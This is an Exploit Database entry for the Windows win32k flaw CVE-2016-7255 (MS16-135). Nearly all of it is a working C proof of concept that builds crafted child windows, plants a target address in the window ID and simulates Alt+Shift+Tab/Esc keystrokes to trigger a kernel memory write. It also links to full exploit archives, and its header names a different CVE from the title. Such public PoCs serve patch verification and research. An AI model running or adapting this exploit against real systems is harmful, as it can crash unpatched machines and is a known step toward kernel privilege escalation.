Microsoft Windows Kernel – ‘win32k’ Denial of Service (MS16-135)

• Exploit Database
• 16 阅读

• 作者： TinySec
  日期： 2016-11-09
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40745/

• /*
  Source: https://github.com/tinysec/public/tree/master/CVE-2016-7255
  
  Full Proof of Concept:
  
  https://github.com/tinysec/public/tree/master/CVE-2016-7255
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40745.zip
  
  ********************************************************************
   Created:	2016-11-09 14:23:09
   Filename: 	main.c
   Author:	root[at]TinySec.net
   Version	0.0.0.1
   Purpose:	poc of cve-2016-0075
  *********************************************************************
  */
  
  #include <windows.h>
  #include <wchar.h>
  #include <stdlib.h>
  #include <stdio.h>
  
  
  //////////////////////////////////////////////////////////////////////////
  #pragma comment(lib,"ntdll.lib")
  #pragma comment(lib,"user32.lib")
  
  #undef DbgPrint
  ULONG __cdecl DbgPrintEx( IN ULONG ComponentId, IN ULONG Level, IN PCCH Format, IN ... );
  ULONG __cdecl DbgPrint(__in char* Format, ...)
  {
  	CHAR* pszDbgBuff = NULL;
  	va_list VaList=NULL;
  	ULONG ulRet = 0;
  	
  	do 
  	{
  		pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0 ,1024 * sizeof(CHAR));
  		if (NULL == pszDbgBuff)
  		{
  			break;
  		}
  		RtlZeroMemory(pszDbgBuff,1024 * sizeof(CHAR));
  		
  		va_start(VaList,Format);
  		
  		_vsnprintf((CHAR*)pszDbgBuff,1024 - 1,Format,VaList);
  		
  		DbgPrintEx(77 , 0 , pszDbgBuff );
  		OutputDebugStringA(pszDbgBuff);
  		
  		va_end(VaList);
  		
  	} while (FALSE);
  	
  	if (NULL != pszDbgBuff)
  	{
  		HeapFree( GetProcessHeap(), 0 , pszDbgBuff );
  		pszDbgBuff = NULL;
  	}
  	
  	return ulRet;
  }
  
  
   int _sim_key_down(WORD wKey)
   {
  	 INPUT stInput = {0};
  	 
  	 do 
  	 {
  		 stInput.type = INPUT_KEYBOARD;
  		 stInput.ki.wVk = wKey;
  		 stInput.ki.dwFlags = 0;
  		 
  		 SendInput(1 , &stInput , sizeof(stInput) );
  
  	 } while (FALSE);
  	 
  	 return 0;
  }
  
   int _sim_key_up(WORD wKey)
   {
  	 INPUT stInput = {0};
  	 
  	 do 
  	 {
  		 stInput.type = INPUT_KEYBOARD;
  		 stInput.ki.wVk = wKey;
  		 stInput.ki.dwFlags = KEYEVENTF_KEYUP;
  		 
  		 SendInput(1 , &stInput , sizeof(stInput) );
  		 
  	 } while (FALSE);
  	 
  	 return 0;
  }
  
   int _sim_alt_shift_esc()
   {
  	 int i = 0;
  	 
  	 do 
  	 {
  		 _sim_key_down( VK_MENU );
  		 _sim_key_down( VK_SHIFT );	 
  		 
  		
  		_sim_key_down( VK_ESCAPE);
  		_sim_key_up( VK_ESCAPE);
  
  		_sim_key_down( VK_ESCAPE);
  		_sim_key_up( VK_ESCAPE);
  			 
  		 _sim_key_up( VK_MENU );
  		 _sim_key_up( VK_SHIFT );	 	 
  		 
  		 
  	 } while (FALSE);
  	 
  	 return 0;
  }
  
   
  
   int _sim_alt_shift_tab(int nCount)
   {
  	 int i = 0;
  	 HWND hWnd = NULL;
  
  
  	 int nFinalRet = -1;
  
  	 do 
  	 {
  		 _sim_key_down( VK_MENU );
  		 _sim_key_down( VK_SHIFT );	 
  
  
  		 for ( i = 0; i < nCount ; i++)
  		 {
  			 _sim_key_down( VK_TAB);
  			 _sim_key_up( VK_TAB);
  			 
  			 Sleep(1000);
  
  		 }
  	
  		 
  		_sim_key_up( VK_MENU );
  		 _sim_key_up( VK_SHIFT );	 
  	 } while (FALSE);
  	 
  	 return nFinalRet;
  }
  
  
  
  int or_address_value_4(__in void* pAddress)
  {
  	WNDCLASSEXW stWC = {0};
  
  	HWND	hWndParent = NULL;
  	HWND	hWndChild = NULL;
  
  	WCHAR*	pszClassName = L"cve-2016-7255";
  	WCHAR*	pszTitleName = L"cve-2016-7255";
  
  	void*	pId = NULL;
  	MSG		stMsg = {0};
  
  	do 
  	{
  
  		stWC.cbSize = sizeof(stWC);
  		stWC.lpfnWndProc = DefWindowProcW;
  		stWC.lpszClassName = pszClassName;
  		
  		if ( 0 == RegisterClassExW(&stWC) )
  		{
  			break;
  		}
  
  		hWndParent = CreateWindowExW(
  			0,
  			pszClassName,
  			NULL,
  			WS_OVERLAPPEDWINDOW|WS_VISIBLE,
  			0,
  			0,
  			360,
  			360,
  			NULL,
  			NULL,
  			GetModuleHandleW(NULL),
  			NULL
  		);
  
  		if (NULL == hWndParent)
  		{
  			break;
  		}
  
  		hWndChild = CreateWindowExW(
  			0,
  			pszClassName,
  			pszTitleName,
  			WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_CHILD,
  			0,
  			0,
  			160,
  			160,
  			hWndParent,
  			NULL,
  			GetModuleHandleW(NULL),
  			NULL
  		);
  		
  		if (NULL == hWndChild)
  		{
  			break;
  		}
  
  		#ifdef _WIN64
  			pId = ( (UCHAR*)pAddress - 0x28 ); 
  		#else
  			pId = ( (UCHAR*)pAddress - 0x14); 
  		#endif // #ifdef _WIN64
  		
  		SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId );
  
  		DbgPrint("hWndChild = 0x%p\n" , hWndChild);
  		DebugBreak();
  
  		ShowWindow(hWndParent , SW_SHOWNORMAL);
  
  		SetParent(hWndChild , GetDesktopWindow() );
  
  		SetForegroundWindow(hWndChild);
  
  		_sim_alt_shift_tab(4);
  		
  		SwitchToThisWindow(hWndChild , TRUE);
  		
  		_sim_alt_shift_esc();
  
  
  		while( GetMessage(&stMsg , NULL , 0 , 0) )
  		{	
  			TranslateMessage(&stMsg);
  			DispatchMessage(&stMsg);
  		}
  	
  
  	} while (FALSE);
  
  	if ( NULL != hWndParent )
  	{
  		DestroyWindow(hWndParent);
  		hWndParent = NULL;
  	}
  
  	if ( NULL != hWndChild )
  	{
  		DestroyWindow(hWndChild);
  		hWndChild = NULL;
  	}
  
  	UnregisterClassW(pszClassName , GetModuleHandleW(NULL) );
  
  	return 0;
  }
  
  int __cdecl wmain(int nArgc, WCHAR** Argv)
  {
  	do 
  	{
  		or_address_value_4( (void*)0xFFFFFFFF );
  	} while (FALSE);
  	
  	return 0;
  }